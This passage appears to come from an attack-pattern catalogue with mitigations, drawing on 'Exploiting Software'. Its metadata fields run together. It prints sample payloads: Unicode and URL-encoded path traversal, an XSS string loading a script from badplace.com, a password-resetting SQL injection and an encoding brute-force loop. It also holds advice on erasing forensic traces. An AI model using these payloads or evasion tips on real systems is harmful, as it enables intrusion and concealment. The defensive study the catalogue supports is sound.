safely. For instance when a program fails it may authorize restricted access to anyone.The targeted program has a vulnerability such as buffer overflow which may be exploited if a malicious user can inject unvalidated data. For instance a buffer overflow interrupts the program as it executes, and makes it run additional code supplied by the attacker. If the program under attack has elevated privileges to the OS, the attacker can elevate its privileges (such as having root level access).The targeted program is giving away information about itself. Before performing such attack, an eventual attacker may need to gather information about the services running on the host target. The more the host target is verbose about the services that are running (version number of application, etc.) the more information can be gather by an attacker.This attack often requires communicating with the host target services directly. For instance Telnet may be enough to communicate with the host target.Very HighVery HighInjectionAPI AbuseProtocol ManipulationFloodingLow: An attacker can use a tool to scan and automatically launch an attack against known issues. A tool can also repeat a sequence of instructions and try to brute force the service on the host target, an example of that would be the flooding technique.
Medium to High: More advanced attack may require knowledge of the protocol spoken by the host service.Probing technique include fuzzing (sending random data in order to fail the service on the host target), brute forcing (with automated tools), network scanning to determine which services are available and running on the target host.There are freely available tools to probe and gather information from host target. For instance, the attacker can find out that a host target has not been patched by collecting such information.The log can have a trace of abnormal activity. Also if abnormal activity is detected on the host target. For instance flooding should be seen as abnormal activity and the target host may decide to take appropriate action in order to mitigate the attack (data filtering or blocking). Resource exhaustion is also a sign of abnormal activity.The attacker may try to hide her attack by forging the host's logs. The attacker has interest in mimicing a legitimate call to the program or service under threat.Apply the principle of least privilege.Validate all untrusted data.Apply the latest patches.Scan your services and disable the ones which are not needed and are exposed unnecessarily. Exposing programs increases the attack surface. Only expose the services which are needed and have security mechanisms such as authentication built around them.Avoid revealing information about your system (e.g., version of the program) to anonymous users. Make sure that your program or service fail safely. What happen if the communication protocol is interrupted suddenly? What happen if a parameter is missing? Does your system have resistance and resiliance to attack? Fail safely when a resource exhaustion occurs.If possible use a sandbox model which limits the actions that programs can take. A sandbox restricts a program to a set of privileges and commands that make it difficult or impossible for the program to cause any damage.Check your program for buffer overflow and format String vulnerabilities which can lead to execution of malicious code.Monitor traffic and resource usage and pay attention if resource exhaustion occurs.Protect your log file from unauthorized modification and log forging.Run Arbitrary CodePrivilege EscalationDenial of ServiceSecure programming guides are full of references to the principle of least privilege (see Building Secure Software [Viega and McGraw, 2001], for example). The problem is that most code is not designed to work with least privilege. Often times the code will fail to operate properly if access restrictions are placed on it. The sad thing is that many such programs could very likely be written without requiring Administrator or root access, but they aren’t. As a result, today’s software runs with way too much system wide privilege.
Thinking about privilege requires adjusting your viewpoint to a panoramic, systemwide view. (This is an excellent attacker trick that you should internalize.) Often the OS is the essential service providing privilege and access control checks, but many programs do not properly adhere to the least-privilege concept, so they abuse the OS and request too much privilege (often without being told “no”). Furthermore, the user of the program may or may not notice this issue, but you can be assured that an attacker will. One very interesting technique is to run a target program in a sandbox and examine the security context of each call and operation (something that is made easier in advanced platforms like Java 2). Privilege problems are very likely to surface during this exercise, and thus provide one of the richest forms of attack.
250Targeted264Targeted217Secondary15SecondaryCVE-2004-0213Utility Manager in Windows 2000 launches winhlp32.exe while Utility Manager is running with raised privileges, which allows local users to gain system privileges via a "Shatter" style attack that sends a Windows message to cause Utility Manager to launch winhlp32 by directly accessing the context sensitive help and bypassing the GUI, then sending another message to winhlp32 in order to open a user-selected file, a different vulnerability than CVE-2003-0908.8More DetailedOccasionally Precedes9More DetailedOccasionally Precedes10More DetailedOccasionally Precedes67More DetailedOccasionally PrecedesA user must be authenticated if she invokes a privileged program.Reluctance to TrustLeast PrivilegeFail SecurelyDefense in DepthAny guideline related to the buffer overflow and format String vulnerability.Patch programs with the latest patches from Vendors.Ensure log integrityValidate all untrusted inputExploitationHighHighLowAllAllAllAllG. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.CWE : Failure to protect stored data from modificationCWE : Setting manipulationCWE : Often Misused: Privilege ManagementCWE : Permissions, Privileges, and Access Controls
An attacker may try certain common (default) usernames and passwords to gain access into the system and perform unauthorized actions. An attacker may try an intelligent brute force using known vendor default credentials as well as a dictionary of common usernames and passwords.
Many vendor products come preconfigured with default (and thus well known) usernames and passwords that should be deleted prior to usage in a production environment. It is a common mistake to forget to remove these default login credentials. Another problem is that users would pick very simple (common) passwords (e.g. "secret" or "password") that make it easier for the attacker to gain access to the system compared to using a brute force attack or even a dictionary attack using a full dictionary.
The system uses one factor password based authentication.
HighMediumBrute Force
User Bob sets his password to "123". If the system does not have password strength enforcement against a sound password policy, this password may be admitted. A simple numeric sequence like this is one of the most common passwords and is easily guessable by an attacker.
Cisco 2700 Series Wireless Location Appliances (version 2.1.34.0 and earlier) have a default administrator username "root" with a password "password". This allows remote attackers to easily obtain administrative privileges.
CVE-2006-5288
Low: An attacker just needs to gain access to common default usernames/passwords specific to the technologies used by the system. Additionally, a brute force attack leveraging common passwords can be easily realized if the user name is known.
Technology or vendor specific list of default usernames and passwords.
Try to determine what products are used in the implementation of the system. Determine if there are any default accounts associated with those products.
Many incorrect login attempts are detected by the system.
Try to spoof IP addresses so that it does not look like the incorrect log in attempts are coming from the same computer.
Delete all default account credentials that may be put in by the product vendor.
Implement a password throttling mechanism. This mechanism should take into account both the IP address and the log in name of the user.
Put together a strong password policy and make sure that all user created passwords comply with it. Alternatively automatically generate strong passwords for users.
Passwords need to be recycled to prevent aging, that is every once in a while a new password must be chosen.
Privilege Escalation521Targeted262Targeted263Targeted16More AbstractOccasionally Follows49Occasionally FollowsMore Abstract55Occasionally FollowsFailing SecurelyPenetrationHighHighMediumAllAllAllAll
An attacker may provide a unicode string to a system component that is not unicode aware and use that to circumvent the filter or cause the classifying mechanism to fail to properly understanding the request. That may allow the attacker to slip malicious data past the content filter and/or possibly cause the application to route the request incorrectly.
Unicode is a system for encoding character strings in a 16-bit representation so that characters from a number of different languages can be represented. Unicode involves using 2 bytes for every character instead of the customary single byte found in ASCII encoding. Any system that is unicode aware may be capable of converting unicode strings into ASCII byte strings. If the native language of the system or the APIs that are being used require normal byte strings, then the system may provide for a translation from unicode.
Try unicode encoding for parts of the input in order to try to get past the filters. For instance,
ce, by encoding certain characters in the URL (e.g. dots and sleshes) an attacker may try to get access to restricted resources on the web server or force browse to protected pages (thus subverting the authorization service). An attacker can also attempt other injection style attacks using this attack pattern: command injection, SQL injection, etc.
Filtering is performed on data that has not be properly canonicalized.
HighMediumModification of ResourcesAPI AbuseInjection
Attack Example: Unicode Encodings in the IIS Server
A very common technique for a unicode attack involves traversing directories looking for interesting files. An example of this idea applied to the Web is
http://target.server/some_directory/../../../winnt
In this case, the attacker is attempting to traverse to a directory that is not supposed to be part of standard Web services. The trick is fairly obvious, so many Web servers and scripts prevent it. However, using alternate encoding tricks, an attacker may be able to get around badly implemented request filters.
In October 2000, a hacker publicly revealed that Microsoft’s IIS server suffered from a variation of this problem. In the case of IIS, all the attacker had to do was provide alternate encodings for the dots and/or slashes found in a classic attack. The unicode translations are
. yields C0 AE
/ yields C0 AF
\ yields C1 9C
Using this conversion, the previously displayed URL can be encoded as
http://target.server/some_directory/%C0AE/%C0AE/%C0AE%C0AE
/%C0AE%C0AE/winnt
CVE-2000-0884
Medium: An attacker needs to understand unicode encodings and have an idea (or be able to find out) what system components may not be unicode aware.
Unicode encoded data is passed to APIs where it is not expected
Ensure that the system is Unicode aware and can properly process Unicode data. Do not make an assumption that data will be in ASCII.
Ensure that filtering or input validation is applied to canonical data.
Assume all input is malicious. Create a white list that defines all valid input to the software system based on the requirements specifications. Input that does not match against the white list should not be permitted to enter into the system.Privilege EscalationRun Arbitrary CodeData ModificationDenial of Service
Building “Equivalent” Requests
A large number of commands are subject to parsing or filtering. In many cases a filter only considers one particular way to format a command. The fact is that the same command can usually be encoded in thousands of different ways. In many cases, an alternative encoding for the command will produce exactly the same results as the original command. Thus, two commands that look different from the logical perspective of a filter end up producing the same semantic result. In many cases, an alternatively encoded command can be used to attack a software system, because the alternative
command allows an attacker to perform an operation that would otherwise be blocked.
Mapping the API Layer
A good approach to help identify and map possible alternate encodings involves writing a small program that loops through all possible inputs to a given API call. This program can, for example, attempt to encode filenames in a variety of ways. For each iteration of the loop, the “mungified” filename can be passed to the API call and the result noted.
The following code snippet loops through many possible values that can be used as a prefix to the string \test.txt. Results of running a program like this can help us to determine which characters can be used to perform a ../../ (dots and slashes) relative traversal attack.
int main(int argc, char* argv[])
{
for(unsigned long c=0x01010101;c != -1;c++)
{
char _filepath[255];
sprintf(_filepath, "%c%c%c%c\\test.txt", c >> 24, c >> 16, c >> 8, c&0x000000FF );
try
{
FILE *in_file = fopen(_filepath, "r");
if(in_file)
{
printf("checking path %s\n", _filepath);
puts("file opened!");
getchar();
fclose(in_file);
}
}
catch(...)
{
}
}
return 0;
}
Slight (but still automatic) modifications can be made to the string in creative ways. Ultimately, the modified string boils down to an attempt to use different tricks to obtain the same file. For example, one resulting attempt might try a command like this:
sprintf(_filepath, "..%c\\..%c\\..%c\\..%c\\scans2.txt", c, c, c, c);
A good way to think about this problem is to think of layers. The API call layer is what the examples shown here are mapping. If an engineer has placed any filters in front of the API call, then these filters can be considered additional layers, wrapping the original set of possibilities. By pondering all the possible inputs that can be provided at the API layer, we can begin uncovering and exercising any filters that the software has in place. If we know that the software definitely uses file API calls, we can try all kinds of filename encoding tricks that we know about. If we get lucky, eventually one set of encoding tricks will work, and we can get our data successfully through the filters and into the API call.
Drawing on the techniques described in Chapter 5, we can list a number of possible escape codes that can be injected into API calls (many of which help with the filter avoidance problem). If the data are eventually being piped into a shell, for example, we might be able to get control codes to take effect. A particular call may write data to a file or a stream that are eventually meant to be viewed on a terminal or in a client program. As a simple example, the following string contains two backspace characters that
are very likely to show up in the terminal’s execution:
write("echo hey!\x08\x08");
When the terminal interprets the data we have passed in, the output will be missing the last two characters of the original string. This kind of trick has been used for ages to corrupt data in log files. Log files capture all kinds of data about a transaction. It may be possible to insert NULL characters (for
example, %00 or '\0') or to add so many extra characters to the string that the request is truncated in the log. Imagine a request that has more than a thousand extra characters tacked on at the end. Ultimately, the string may be trimmed in the log file, and the important telltale data that expose an attack will be lost.
Character Conversion
Cases where one part of the software converts data before the data are passed on to the next part also make good targets. In these “data chains,” characters often get converted many times. For example, if a user supplies the + character to a standard-issue Web server, it will be converted into a
space before it’s used on the file system.
From G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.
176Targeted171Targeted179Targeted180Targeted173Targeted172Targeted184Targeted183Targeted74Targeted20TargetedUsing Alternate Encodings to Bypass Validation LogicMore Detailed64Similar79Similar72Similar43Similar
Canonicalize data prior to performing any validation or filtering on it. Be aware of alternate encodings.
PenetrationMediumHighMediumAllAllAllAllG. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.
CWE – Input ValidationThis attack targets the encoding of the URL. An attacker can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL. An URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc. The attacker could also subvert the meaning of the URL string request by encoding the data being sent to the server through a GET request. For instance an attacker may subvert the meaning of parameters used in a SQL request and sent through the URL string (See Example section).1- The attacker accesses the server using a specific URL.2- The attacker tries to encode some special characters in the URL. The attacker finds out that some characters are not filtered properly.3- The attacker crafts a malicious URL string request and sends it to the server.4- The server decodes and interprets the URL string. Unfortunately since the input filtering is not done properly, the special characters may have harmful consequences.The application should accepts and decodes URL input.The application performs insufficient filtering/canonicalization on the URLs.HighHighInjectionProtocol ManipulationAPI AbuseAttack Example: URL Encodings in IceCast MP3 Server.
The following type of encoded string has been known traverse directories against the IceCast MP3 server9:
http://[targethost]:8000/somefile/%2E%2E/target.mp3
or using
"/%25%25/" instead of "/../".
The control character ".." can be used by an attacker to escape the document root.
CVE-2001-0784Cross-Site Scripting
URL-Encoded attack: http://target/getdata.php?data=%3cscript%20src=%22http%3a%2f%2f
www.badplace.com%2fnasty.js%22%3e%3c%2fscript%3e
HTML execution: <script src=”http://www.badplace.com/nasty.js”></script>
From "URL encoded attacks", by Gunter Ollmann - http://www.cgisecurity.com/lib/URLEmbeddedAttacks.html
SQL Injection
Original database query in the example file - “login.asp”: SQLQuery = “SELECT preferences FROM logintable WHERE userid=’” & Request.QueryString(“userid”) & “’ AND password=’” & Request.QueryString(“password”) & “’;”
URL-encoded attack: http://target/login.asp?userid=bob%27%3b%20update%20logintable%20set%20passwd
%3d%270wn3d%27%3b--%00
Executed database query: SELECT preferences FROM logintable WHERE userid=’bob’; update logintable set password=’0wn3d’;
From "URL encoded attacks", by Gunter Ollmann - http://www.cgisecurity.com/lib/URLEmbeddedAttacks.html
Low - An attacker can try special characters in the URL and bypass the URL validation.
Medium - The attacker may write a script to defeat the input filtering mechanism.An attacker can manually inject special characters in the URL string request and observe the results of the request.Custom scripts can also be used. For example, a good script for verifying the correct interpretation of UTF-8 encoded characters can be found at http://www.cl.cam.ac.uk/~mgk25/ucs/examples/UTF-8-test.txtAutomated tools such as fuzzer can be used to test the URL decoding and filtering.If the first decoding process has left some invalid or blacklisted characters, that may be a sign that the request is malicious.Traffic filtering with IDS (or proxy) can detect requests with suspicious URLs. IDS may use signature based identification to reveal such URL based attacks.Sometime the percent escaping can be used to obfuscate the attack itself.Alternative method of data encoding can be used.Obfuscation technique such as IP address encoding can also be used (See reference section : "URL encoded attacks", by Gunter Ollmann). Refer to the RFCs to safelly decode URL.Regular expression can be used to match safe URL patterns. However, that may discard valid URL requests if the regular expression is too restrictive.There are tools to scan HTTP requests to the server for valid URL such as URLScan from Microsoft (http://www.microsoft.com/technet/security/tools/urlscan.mspx).Any security checks should occur after the data has been decoded and validated as correct data format. Do not repeat decoding process, if bad character are left after decoding process, treat the data as suspicious, and fail the validation process.Assume all input is malicious. Create a white list that defines all valid input to the software system based on the requirements specifications. Input that does not match against the white list should not be permitted to enter into the system. Test your decoding process against malicious input.Be aware of the threat of alternative method of data encoding and obfuscation technique such as IP address encoding. (See related guideline section)When client input is required from web-based forms, avoid using the “GET” method to submit data, as the method causes the form data to be appended to the URL and is easily manipulated. Instead, use the “POST method whenever possible.Information LeakageDenial of ServiceRun Arbitrary CodeInformation LeakagePrivilege EscalationMost web programming languages have built in API to perform URL Encoding and URL Decoding. For instance PHP uses "urlencode(string)" and "urldecode(string)". Java uses "java.net.URLEncode.encode(String)".173Targeted177Targeted171Targeted172Targeted73Targeted21Targeted74Targeted20Targeted64More Abstract79Similar71Similar43SimilarUsing Alternate Encodings to Bypass Validation LogicMore DetailedReluctance to TrustPenetrationExploitationHighHighMediumClient-ServerSOAAllAllAllG. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.CWE – Input ValidationURL encoded attacks, by Gunter Ollmann - http://www.cgisecurity.com/lib/URLEmbeddedAttacks.htmlUniform Resource Identifier (URI): Generic Syntax, RFC 3886 - http://www.ietf.org/rfc/rfc3986.txtURL Uniform Resource Locators (URL) RFC - http://rfc.net/rfc1738.htmlURL encoding reference - http://www.w3schools.com/tags/ref_urlencode.aspThe URLEncode and URLDecode Page - http://www.albionresearch.com/misc/urlencode.phpDavid Wheeler - Validating URIs - http://www.dwheeler.com/secure-programs/Secure-Programs-HOWTO/filter-html.html#VALIDATING-URIS
An attack of this type involves an attacker inserting malicious characters (such as a XSS redirection) into a filename, directly or indirectly that is then used by the target software to generate HTML text or other potentially executable content. Many websites rely on user-generated content and dynamically build resources like files, filenames, and URL links directly from user supplied data. In this attack pattern, the attacker uploads code that can execute in the client browser and/or redirect the client browser to a site that the attacker owns. All XSS attack payload variants can be used to pass and exploit these vulnerabilities.
The victim must trust the name and locale of user controlled filenames.
HighHighModification of Resources
Phishing attacks rely on a user clicking on links on that are supplied to them by attackers masquerading as a trusted resource such as a bank or online auction site. The end user's email client hosts the supplid resource name in this case via email. The resource name, however may either 1) direct the client browser to a malicious site to steal credentical and/or 2) execute code on the client machine to probe the victim's host system and network environment.
Low → To achieve a redirection and use of less trusted source, an attacker can simply edit data that the host uses to build the filename
Medium → Deploying a malicious "look a like" site (such as a site masquerading as a bank or online auction site) that the user enters their authentication data into.
High → Exploiting a client side vulnerability to inject malicious scripts into the browser’s executable process.
Design: Use browser technologies that do not allow client side scripting.
Implementation: Ensure all content that is delivered to client is sanitized against an acceptable content specification.
Implementation: Perform input validation for all remote content.
Implementation: Perform output validation for all remote content.
Implementation: Disable scripting languages such as Javascript in browser
Implementation: Scan dynamically generated content against validation specification
Privilege EscalationRun Arbitrary CodeDenial of ServiceInformation Leakage
“Attack Pattern: User-Controlled Filename
An unfiltered, user-controlled filename can be used to construct client HTML. Perhaps HTML text is being built from filenames. This can be the case if a Web server is exposing a directory on the file system, for example. If the server does not filter certain characters, the filename itself can include an XSS attack."
[Hoglund and McGraw 04]
Payload delivered through user controlled filename.
Command(s) executed directly on host
Client machine and client network
Enables attacker to execute server side code with any commands that the program owner has privileges to.
20Targeted184Secondary96Targeted348Targeted116Targeted350Targeted86Secondary63More DetailedPenetrationExploitationHighHighHighAllAllAllAll
G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.
An attacker modifies state information maintained by the target software in user-accessible locations. If successful, the target software will use this tainted state information and execute in an unintended manner.
State management is an important function within an application. User state maintained by the application can include usernames, payment information, browsing history as well as application-specific contents such as items in a shopping cart.
Manipulating user state can be employed by an attacker to elevate privilege, conduct fraudulent transactions or otherwise modify the flow of the application to derive certain benefits.
Attacker determines the nature of state management employed by the application. This includes determining the location (client-side, server-side or both) and possibly the items stored as part of user stateThe attacker now tries to modify the user state contents (possibly blindly if the contents are encrypted or otherwise obfuscated) and observe the effects of this change on the application.Having determined the information stored in the user state and the possible ways to modify it, the attacker can violate it in order to perform illegitimate actions.HighMediumAnalysisModification of ResourcesUpon authenticating a user, an application stores the authentication decision (auth=0/1) in a cookies unencrypted. At every request, this cookie is checked to permit or deny a request.
An attacker can easily violate this reprepsentation of user state and set auth=1 at every request in order to gain illegitimate access and elevated privilege in the appplication.
Medium: The attacker needs to have knowledge of state management as employed by the target application, and also the ability to manipulate the state in a meaningful way.
No special resources are required. An attacker can choose to use a data tampering tool to aid in the attack.
Analysis: The attacker observes contents of client-side user state variables, stored in coookies or hidden fields or query strings, and modifies them in order to observe their effect on the application.
Do not rely solely on user-controllable locations, such as cookies or URL parameters, to maintain user state
Do not store sensitive information, such as usernames or authentication and authorization information, in user-controllable locations.
At all times sensitive information that is part of the user state must be appropriately protected to ensure confidentiality and integrity at each request
Privilege EscalationData Modification
User state is persisted in a variety of ways between requests, some of them platform dependent. These include cookies, hidden fields, session objects, cache objects, query strings and the likes.
Content that goes into user state persistence is, however, entirely application dependent. It is, therefore, a design decision to include a particular piece of information to persist as part of user state.
Application designers often include sensitive information such as usernames or card numbers as part of user state that gets exposed to the user. Authentication decisions and authorized role membership are often found in cookies or query strings.
Any such information that can be altered to make the application behave differently is open to tampering by a malicious user. Violation of user state information can cause the application to grant incorrect, often elevated, privileges or leak sensitive information about other users or behave unpredictably so as to benefit an attacker.
This problem is exacerbated by the lack of strong cryptographic protection around such sensitive information.
User-controllable user state variablesModified or injected user state variablesState management mechanism of the applicationAltered user state leading to information leak or elevated privilege372Secondary371Targeted315Targeted353TargetedCVE-2005-4448FlatNuke 2.5.6 verifies authentication credentials based on an MD5 checksum of the admin name and the hashed password rather than the plaintext password, which allows attackers to gain privileges by obtaining the password hash (possibly via CVE-2005-2813), then calculating the credentials and including them in the secid cookie.Protect user state that is stored client-side with integrity checks to ensure that a malicious user cannot gain unauthroized access to parts of the applicationAuthenticate every request to ensure that it is coming from a legitimate user and that the request is a valid one in the current context.Reluctance To TrustNever Assuming That Your Secrets Are SafeTreat the Entire Inherited Process Context as Unvalidated InputUse Well-Known Cryptography Appropriately and CorrectlyExploitationHighHighMediumClient-ServerSOAAllAllAll
An attacker modifies the contents of configuration files that influence/control the operation of the target software. This attack exploits the ever-growing number, size and complexity of configuration files and the often lax access controls on these files.
This attack exploits a program's trust in configuration files that may have weaker permissions. System configuration in distributed systems such as J2EE servers have many administration points. For example, permissions may be set on the administrative GUI, the configuration file for the server as a whole, configuration files for specific domains and applications, special jar and other class files used to load resources at runtime, and even policy specific in .war and .ear files. A mistake in permissions setting in either the file acl or the content is an opening an attacker can use to elevate privilege.
The following three examples describe how servers can be attacked using this pattern
Console output: Depending on configuration, server can put a prodigious amount of configuration information out to the console. Some servers require the server password to be input through the shell, an attacker can gather this and other data (like database connections) from system logs and echoes.
Configuration files: The configuration file acts as the dna for the server, mapping its settings to all required network, application, identity and data resources. A weak permission setting on these files represents a very large vulnerability, because the entire system as a whole can be owned by the attacker, and since logs are generally controlled from the same source file, the attacker can erase any forensic evidence.
Configuration file contents: The configuration file for an application may contain xml files that manage the application security policy, describing the allowed security authorities like directory services, token issuers, and so on. Many J2EE application server use xml files to list the ACLs allowed users, roles, and groups for an application. Generally these are manually edited files that are not in the perview of the system administrators, any ability on the attacker's behalf to modify these files, for example in a CVS repository, gives unauthorized access directly to the application, the same as authorized users.
Configuration files must be modifiable by the attacker
Very HighHighModification of Resources
The BEA Weblogic server uses a config.xml file to store configuration data. If this file is not properly protected by the system access control, an attacker can write configuration information to redirect server output through system logs, database connections, malicious URLs and so on. Access to the Weblogic server may be from a so-called Custom realm which manages authentication and authorization privileges on behalf of user principals. Given write access, the attacker can insert a pointer to a custom realm jar file in the config.xml
< CustomRealm
ConfigurationData="java.util.Properties"
Name="CustomRealm"
RealmClassName="Maliciousrealm.jar"
/>
The main issue with configuration files is that the attacker can leverage all the same functionality the server has, but for malicious means. Given the complexity of server configuration, these changes may be very hard for administrators to detect.
Medium → to identify vulnerable configuration files, and understand how to manipulate servers and erase forensic evidence
Design: Enforce principle of least privilege
Design: Backup copies of all configuration files
Implementation: Integrity monitoring for configuration files
Implementation: Enforce audit logging on code and configuration promotion procedures.
Implementation: Load configuration from separate process and memory space, for example a separate physical device like a CD
Privilege Escalation
“Attack Pattern: Use a User-Supplied Configuration File to Run Commands That Elevate Privilege
A setuid utility program accepts command-line arguments. One of these arguments allows a user to supply the path to a configuration file. The configuration file allows shell commands to be inserted. Thus, when the utility starts up, it runs the given commands. One example found in the wild is the UUCP (or UNIX-to-UNIX copy program) set of utilities. The utility program may not have root access, but that may belong to a group or user context that is more privileged than that of the attacker. In the case of UUCP, the elevation may lead to the dialer group, or the UUCP user account. Escalating privilege in steps will usually lead an attacker to a root compromise (the ultimate goal).
Some programs will not allow a user-supplied configuration file, but the systemwide configuration file may have weak permissions. The number of vulnerabilities that exist because of poorly configured permissions is large. A note of caution: As an attacker, you must consider the configuration file as an obvious detection point. A security process may monitor the target file. If you make changes to a configuration file to gain privilege, then you should immediately clean the file when you are finished. You can also run certain utilities to set back the file access dates. The key is not to leave a forensic trail surrounding the file you exploited."
[Hoglund and McGraw 04]
Configuration files
Commands or configuration settings
Configuration file processing routines
Enables attacker to execute server side code with any commands that the program owner has privileges to.
349Targeted99Targeted77Targeted346Targeted353Secondary354SecondaryExploitationHighHighMediumAllAllAllAll
G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
Program must allow for user controlled variables to be applied directly to the filesystem
Very HighHighInjectionAPI AbuseModification of Resources
An example of using path traversal to attack some set of resources on a web server is to use a standard HTTP request
http://example/../../../../../etc/passwd
From an attacker point of view, this may be sufficient to gain access to the password file on a poorly protected system. If the attacker can list directories of critical resources then read only access is not sufficient to protect the system.
Low → to identify file system entry point and execute against an overprivileged system interface
Design: Enforce principle of least privilege.
Design: Ensure all input is validated, and does not contain file system commands
Design: Run server interfaces with a non-root account and/or utilize chroot jails or other configuration techniques to constrain privileges even if attacker gains some limited access to commands.
Design: For interactive user applications, consider if direct file system interface is necessary, instead consider having the application proxy communication.
Implementation: Perform testing such as pentesting and vulnerability scanning to identify directories, programs, and interfaces that grant direct access to executables.
Privilege EscalationData Modification
An attack of this type exploits a system's permissiveness in letting an end user specify filenames, paths, and other data. Many systems, especially multi user systems like servers, attempt to balance the tradeoffs between allowing the user access to rich functionality and limiting the access to the file system in some way. For web and ftp servers, it may be desirable for users to upload and manage content; in an enterprise workstation, there may be several users running programs on the same machine, so the policy may require a user to be constrained to their own working directory. Unfortunately, giving the end user direct access to the file system without proper validation of the input data, can result in unforeseen results. The user's ability to manipulate the file system, executing commands against the file system, can destroy the barrier between what the end user's privileges are designed to be, because they are executed in an unexpected locale (the file systems) where permissions may not be set correctly.
The outcome of this type of access can include:
Manipulate file metadata: alter the timestamp, filename, file permissions
Unauthorized duplication or destruction: attacker may copy, move, or delete files
System traversal: users with liberal permissions can traverse to other directories like /tmp and /etc to gain access to additional system configuration information and other sensitive information. The entry point directory is the starting point, with appending file system commands like ../ to escape out of the initial directory locale, for example:
/entrypoint directory/../targetfilename
Upload files: given too much access, the attacker can identify file system locations to upload tools, files, and other content to launch further attacks. It should be noted that even without the ability to upload, access to the file system by itself can be the only opening an attacker needs.
Systems have increasingly complex configurations, and the locations of directories, tools, and entry points by default are very similar across implementations. This allows attackers to scan many hosts to identify predictably located entry points for file system attacks.
“File system calls are very common in software applications. In many cases, user input is consumed to specify filenames and other data. WIthout proper security control this leads to a classic vulnerability whereby an attacker can pass various parameters into file system calls." [Hoglund and McGraw 04]
Payload delivered through standard communication protocols and inputs.
File system commands and specifiers
File system
File access or modification.
23Targeted22Targeted73Targeted77Targeted346Targeted348Targeted285Secondary264Secondary272Targeted59Targeted74Targeted15TargetedExploitationHighHighMediumAllAllAllAll
G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An attacker can override environment variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the attacker can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables. 1- The attacker communicates with the application server using a thin client (browser) or thick client.2- While communicating with the server, the attacker finds that she can control and override a variable consumed by the application server.3- The attacker overrides the variable and influences the normal behavior of the application server.A variable consumed by the application server is exposed to the client.A variable consumed by the application server can be overwritten by the user.The application server trusts user supplied data to compute business logic.The application server does not perform proper input validation.Very HighVery HighInjectionAttack Example: PHP Global Variables
PHP is a study in bad security. The main idea pervading PHP is “ease of use,” and the mantra “don’t make the developer go to any extra work to get stuff done” applies in all cases. This is accomplished in PHP by removing formalism from the language, allowing declaration of variables on first use, initializing everything with preset values, and taking every meaningful variable from a transaction and making it available. In cases of collision with something more technical, the simple almost always dominates in PHP.
One consequence of all this is that PHP allows users of a Web application to override environment variables with user-supplied, untrusted query variables. Thus, critical values such as the CWD and the search path can be overwritten and directly controlled by a remote anonymous user.
Another similar consequence is that variables can be directly controlled and assigned from the user-controlled values supplied in GET and POST request fields. So seemingly normal code like this, does bizarre things:
while($count < 10){
// Do something
$count++;
}
Normally, this loop will execute its body ten times. The first iteration will be an undefined zero, and further trips though the loop will result in an increment of the variable $count. The problem is that the coder does not initialize the variable to zero before entering the loop. This is fine because PHP initializes the variable on declaration. The result is code that seems to function, regardless of badness. The problem is that a user of the Web application can supply a request such as
GET /login.php?count=9
and cause $count to start out at the value 9, resulting in only one trip through the loop. Yerg.
Depending on the configuration, PHP may accept user-supplied variables in place of environment variables. PHP initializes global variables for all process environment variables, such as $PATH and $HOSTNAME. These variables are of critical importance because they may be used in file or network operations. If an attacker can supply a new $PATH variable (such as PATH='/var'), the program may be exploitable.
PHP may also take field tags supplied in GET/POST requests and transform them into global variables. This is the case with the $count variable we explored in our previous example.
Consider another example of this problem in which a program defines a variable called $tempfile. An attacker can supply a new temp file such as $tempfile = "/etc/passwd". Then the temp file may get erased later via a call to unlink($tempfile);. Now the passwd file has been erased—a bad thing indeed on most OSs.
Also consider that the use of include() and require() first search $PATH, and that using calls to the shell may execute crucial programs such as ls. In this way, ls may be “Trojaned” (the attacker can modify $PATH to cause a Trojan copy of ls to be loaded). This type of attack could also apply to loadable libraries if $LD_LIBRARY_PATH is modified.
Finally, some versions of PHP may pass user data to syslog as a format string, thus exposing the application to a format string buffer overflow.
File upload allows arbitrary file read by setting hidden form variables to match internal variable names (CVE-2000-0860)Low: the malicious user can easily try some well known global variables and find one which matches.
Medium - the attacker can use automated tools to probe for variables that she can control.The attacker can try to change the value of the variables that are exposed on the webpage's source code and send them back to the application server. Depending on what program is running on the application server, the attacker may know which variables should be targeted.The malicious user may try to guess a global variable just by blackbox testing at the request level. For instance it is possible to create a variable and assign it a value, then pass it along to the request made to the server.Web penetration tool can be used to automate the discovery of client controlled global variables.A web penetration tool probing a web server may generate abnormal activities recorded on log files. Abnormal traffic such as a high number of request coming from the same client may also rise the warnings from a monitoring system or an intrusion detection tool.Do not allow override of global variables and do Not Trust Global Variables.
